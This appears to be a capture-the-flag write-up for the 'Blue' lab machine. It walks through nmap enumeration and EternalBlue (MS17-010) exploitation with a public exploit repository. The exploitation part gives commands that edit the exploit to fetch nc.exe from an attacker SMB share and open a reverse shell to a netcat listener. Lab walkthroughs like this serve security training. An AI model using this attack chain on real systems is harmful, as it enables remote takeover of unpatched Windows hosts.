Blue

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.40 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

The machine has the Windows 7 Professional operative system, and the SMB service open, and it allows guest authentication. Let's try to enumerate the SMB service a bit more with nmap by applying a series of scripts from the vuln and safe categories.

nmap --script "vuln and safe" -p445 -oN smbScan 10.10.10.40

  • --script Runs a script scan script categories.

  • -p scan the specific port.

  • -oN save the scan result into file, in this case the smbScan file.

It looks like the machine is vulnerable to the EternalBlue (MS17-010) exploit.

EternalBlue allows remote attackers to execute arbitrary code on a target system by sending specially crafted messages to the SMBv1 server.

Exploitation

Let's clone the following GitHub repository, which will allow us to exploit the EternalBlue exploit.

git clone https://github.com/worawit/MS17-010

First, we'll have to check it the machine is really vulnerable to the EternalBlue exploit. First edit the checker.py file and add the guest username.

nano MS17-010/checker.py

Now execute it with Python2.

python2 MS17-010/checker.py 10.10.10.40

The machine is vulnerable to the EternalBlue exploit through various pipe names. Now let's edit the zzz_exploit.py script and add the guest username again.

nano MS17-010/zzz_exploit.py

Now let's find for the cmd word, and change the smb_pwn function, so it will send us a reverse shell.

The command will grab the nc.exe from a shared folder to send us the reverse shell. So let's set an SMB server with impacket on the folder in which we have the nc.exe binary.

ls -l

impacket-smbserver smbFolder $(pwd) -smb2support

Before executing the script, let's set a netcat listener on port 4444.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Finally, if we execute the zzz_exploit.py script indicating the IP address and the samr pipe name, it will grab the nc.exe binary from our shared folder to send us a reverse shell, and then all we have to do is reap the harvest and take both the user and the root flag.

python2 MS17-010/zzz_exploit.py 10.10.10.40 samr

Last updated

Was this helpful?